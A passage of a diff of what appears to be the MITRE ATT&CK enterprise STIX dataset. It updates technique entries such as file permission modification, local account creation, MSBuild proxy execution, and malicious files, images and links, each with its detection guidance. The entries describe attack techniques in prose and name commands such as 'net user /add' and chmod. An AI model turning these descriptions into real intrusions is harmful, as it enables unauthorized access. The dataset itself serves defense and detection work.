lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001).", + "x_mitre_version": "1.0", + "x_mitre_is_subtechnique": true, + "x_mitre_platforms": [ + "PRE" + ] + }, + { + "created": "2020-02-04T19:24:27.774Z", + "modified": "2020-03-29T23:12:40.041Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "type": "attack-pattern", + "id": "attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345", + "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform\u2019s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode).\n\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).", + "name": "Linux and Mac File and Directory Permissions Modification", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -17935,40 +18996,40 @@ "source_name": "Hybrid Analysis Icacls2 May 2018" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "x_mitre_platforms": [ + "macOS", + "Linux" ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Linux and Mac File and Directory Permissions Modification", - "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform\u2019s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode).\n\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [.bash_profile and .bashrc](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).", - "id": "attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "File: File Metadata" ], - "modified": "2020-03-29T23:12:40.041Z", - "created": "2020-02-04T19:24:27.774Z", - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": true, + "x_mitre_detection": "Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files.", "x_mitre_permissions_required": [ "User", "root" ], - "x_mitre_detection": "Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files.", - "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring", - "File monitoring" - ], - "x_mitre_platforms": [ - "macOS", - "Linux" - ] + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.0" }, { + "created": "2020-01-28T13:50:22.506Z", + "modified": "2020-03-23T18:04:20.780Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "type": "attack-pattern", + "id": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762", + "description": "Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.", + "name": "Local Account", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -17981,39 +19042,22 @@ "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Local Account", - "description": "Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.", - "id": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "modified": "2020-03-23T18:04:20.780Z", - "created": "2020-01-28T13:50:22.506Z", - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": true, - "x_mitre_permissions_required": [ - "Administrator" - ], - "x_mitre_detection": "Monitor for processes and command-line parameters associated with local account creation, such as net user /add or useradd. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary.", - "x_mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters", - "Authentication logs", - "Windows event logs" - ], "x_mitre_platforms": [ "Linux", "macOS", "Windows" - ] + ], + "x_mitre_data_sources": [ + "User Account: User Account Creation", + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_detection": "Monitor for processes and command-line parameters associated with local account creation, such as net user /add or useradd. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary.", + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.0" }, { "external_references": [ @@ -18021,6 +19065,11 @@ "source_name": "mitre-attack", "external_id": "T1087.001", "url": "https://attack.mitre.org/techniques/T1087/001" + }, + { + "source_name": "Elastic - Koadiac Detection with EQL", + "url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql", + "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020." } ], "object_marking_refs": [ @@ -18037,18 +19086,21 @@ "phase_name": "discovery" } ], - "modified": "2020-03-20T19:39:59.544Z", + "modified": "2021-04-13T21:39:08.728Z", "created": "2020-02-21T21:07:55.393Z", + "x_mitre_contributors": [ + "Daniel Stepanic, Elastic" + ], "x_mitre_data_sources": [ - "API monitoring", - "Process monitoring", - "Process command-line parameters" + "Process: Process Creation", + "Command: Command Execution", + "File: File Access" ], "x_mitre_permissions_required": [ "User" ], - "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", - "x_mitre_version": "1.0", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)", + "x_mitre_version": "1.1", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "Linux", @@ -18057,6 +19109,13 @@ ] }, { + "id": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2", + "description": "Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. ", + "name": "Local Accounts", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -18064,13 +19123,6 @@ "url": "https://attack.mitre.org/techniques/T1078/003" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Local Accounts", - "description": "Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. ", - "id": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2", "type": "attack-pattern", "kill_chain_phases": [ { @@ -18090,23 +19142,25 @@ "phase_name": "initial-access" } ], - "modified": "2020-03-23T21:48:41.083Z", + "modified": "2021-04-05T12:51:00.663Z", "created": "2020-03-13T20:26:46.695Z", - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": true, + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Containers" + ], + "x_mitre_data_sources": [ + "User Account: User Account Authentication", + "Logon Session: Logon Session Creation" + ], + "x_mitre_detection": "Perform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours.", "x_mitre_permissions_required": [ "Administrator", "User" ], - "x_mitre_detection": "Perform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours.", - "x_mitre_data_sources": [ - "Authentication logs" - ], - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.1" }, { "created": "2020-03-13T21:13:10.467Z", @@ -18138,9 +19192,9 @@ "Windows" ], "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring", - "File monitoring" + "File: File Access", + "File: File Creation", + "Command: Command Execution" ], "x_mitre_detection": "Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_is_subtechnique": true, @@ -18184,10 +19238,8 @@ "Windows" ], "x_mitre_data_sources": [ - "Process monitoring", - "File monitoring", - "Authentication logs", - "Mail server" + "File: File Access", + "Command: Command Execution" ], "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to gather local email files. Monitor for unusual processes accessing local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_permissions_required": [ @@ -18227,9 +19279,8 @@ ], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_data_sources": [ - "API monitoring", - "Process monitoring", - "Process command-line parameters" + "Process: Process Creation", + "Command: Command Execution" ], "x_mitre_platforms": [ "Linux", @@ -18272,7 +19323,7 @@ "source_name": "Methods of Mac Malware Persistence" }, { - "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", "source_name": "Malware Persistence on OS X" }, @@ -18284,7 +19335,7 @@ ], "revoked": true, "type": "attack-pattern", - "modified": "2020-03-19T18:17:25.706Z", + "modified": "2021-03-30T00:51:58.374Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -18310,7 +19361,7 @@ "source_name": "Methods of Mac Malware Persistence" }, { - "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", "source_name": "Malware Persistence on OS X" }, @@ -18324,7 +19375,7 @@ "id": "attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9", "revoked": true, "type": "attack-pattern", - "modified": "2020-03-19T19:17:58.513Z", + "modified": "2021-03-30T00:51:58.163Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -18369,8 +19420,10 @@ "x_mitre_is_subtechnique": true, "x_mitre_detection": "Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.", "x_mitre_data_sources": [ - "Process monitoring", - "File monitoring" + "File: File Creation", + "File: File Modification", + "Process: Process Creation", + "Command: Command Execution" ], "x_mitre_platforms": [ "macOS" @@ -18418,14 +19471,22 @@ "Windows" ], "x_mitre_data_sources": [ - "Process monitoring", - "Windows Registry" + "Windows Registry: Windows Registry Key Creation", + "Process: Process Creation", + "Command: Command Execution" ], "x_mitre_detection": "Monitor for changes to Registry values associated with Windows logon scrips, nameley HKCU\\Environment\\UserInitMprLogonScript.\n\nMonitor running process for actions that could be indicative of abnormal programs or executables running upon logon.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0" }, { + "id": "attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96", + "description": "Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)\n\nAdversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)", + "name": "MSBuild", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -18437,19 +19498,17 @@ "description": "Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016.", "source_name": "MSDN MSBuild" }, + { + "source_name": "Microsoft MSBuild Inline Tasks 2017", + "url": "https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-inline-tasks?view=vs-2019#code-element", + "description": "Microsoft. (2017, September 21). MSBuild inline tasks. Retrieved March 5, 2021." + }, { "source_name": "LOLBAS Msbuild", "url": "https://lolbas-project.github.io/lolbas/Binaries/Msbuild/", "description": "LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019." } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "MSBuild", - "description": "Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)\n\nAdversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into an XML project file.(Citation: MSDN MSBuild) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)", - "id": "attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96", "type": "attack-pattern", "kill_chain_phases": [ { @@ -18457,20 +19516,24 @@ "kill_chain_name": "mitre-attack" } ], - "modified": "2020-06-08T23:29:28.074Z", + "modified": "2021-03-05T22:25:48.777Z", "created": "2020-03-27T21:50:26.042Z", - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": true, - "x_mitre_system_requirements": [ - " .NET Framework version 4 or higher" - ], - "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of MSBuild.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.", - "x_mitre_data_sources": [ - "Process monitoring" + "x_mitre_contributors": [ + "Carrie Roberts, @OrOneEqualsOne" ], "x_mitre_platforms": [ "Windows" - ] + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of MSBuild.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.", + "x_mitre_system_requirements": [ + " .NET Framework version 4 or higher" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.1" }, { "id": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", @@ -18507,11 +19570,8 @@ "Windows" ], "x_mitre_data_sources": [ - "Network protocol analysis", - "Process monitoring", - "Process use of network", - "Netflow/Enclave netflow", - "Packet capture" + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" ], "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)", "x_mitre_is_subtechnique": true, @@ -18566,16 +19626,30 @@ ], "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.\n\nAnalysts can also monitor for use of Windows APIs such as LogonUser and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.", "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring", - "Access tokens", - "API monitoring" + "Process: OS API Execution", + "Command: Command Execution" ], "x_mitre_platforms": [ "Windows" ] }, { + "created": "2020-03-11T14:49:36.954Z", + "modified": "2020-03-11T14:55:56.177Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "type": "attack-pattern", + "id": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "description": "An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.\n\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) on the file to increase the likelihood that a user will open it.\n\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).", + "name": "Malicious File", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -18583,13 +19657,42 @@ "url": "https://attack.mitre.org/techniques/T1204/002" } ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "File: File Creation" + ], + "x_mitre_detection": "Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.0" + }, + { + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1204.003", + "url": "https://attack.mitre.org/techniques/T1204/003" + }, + { + "source_name": "Summit Route Malicious AMIs", + "url": "https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/", + "description": "Piper, S.. (2018, September 24). Investigating Malicious AMIs. Retrieved March 30, 2021." + } + ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Malicious File", - "description": "An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.\n\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) on the file to increase the likelihood that a user will open it.\n\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).", - "id": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "name": "Malicious Image", + "description": "Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)\n\nAdversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).", + "id": "attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec", "type": "attack-pattern", "kill_chain_phases": [ { @@ -18597,23 +19700,30 @@ "phase_name": "execution" } ], - "modified": "2020-03-11T14:55:56.177Z", - "created": "2020-03-11T14:49:36.954Z", + "modified": "2021-04-12T17:54:08.797Z", + "created": "2021-03-30T17:20:05.789Z", "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], - "x_mitre_detection": "Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).", - "x_mitre_data_sources": [ - "Anti-virus", - "Process command-line parameters", - "Process monitoring" + "x_mitre_detection": "Monitor the local image registry to make sure malicious images are not added. Track the deployment of new containers, especially from newly built images. Monitor the behavior of containers within the environment to detect anomalous behavior or malicious activity after users deploy from malicious images.", + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)", + "Vishwas Manral, McAfee" ], "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" + "IaaS", + "Containers" + ], + "x_mitre_data_sources": [ + "Container: Container Creation", + "Container: Container Start", + "Command: Command Execution", + "Image: Image Creation", + "Instance: Instance Creation", + "Instance: Instance Start", + "Application Log: Application Log Content" ] }, { @@ -18646,9 +19756,9 @@ "Windows" ], "x_mitre_data_sources": [ - "Anti-virus", - "Process monitoring", - "Web proxy" + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content", + "File: File Creation" ], "x_mitre_detection": "Inspect network traffic for indications that a user visited a malicious site, such as links included in phishing campaigns directed at your organization.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded from a link and executed on the user's computer.", "x_mitre_permissions_required": [ @@ -18658,6 +19768,42 @@ "x_mitre_version": "1.0" }, { + "id": "attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8", + "name": "Malicious Shell Modification", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1156", + "url": "https://attack.mitre.org/techniques/T1156" + }, + { + "source_name": "intezer-kaiji-malware", + "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/", + "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020." + } + ], + "revoked": true, + "type": "attack-pattern", + "modified": "2020-12-22T15:49:33.947Z", + "created": "2017-12-14T16:46:06.044Z" + }, + { + "created": "2020-10-01T01:33:01.433Z", + "modified": "2021-04-15T03:08:33.165Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "type": "attack-pattern", + "id": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0", + "description": "Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)\n\nAs with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.\n\nSome aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)", + "name": "Malware", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -18690,28 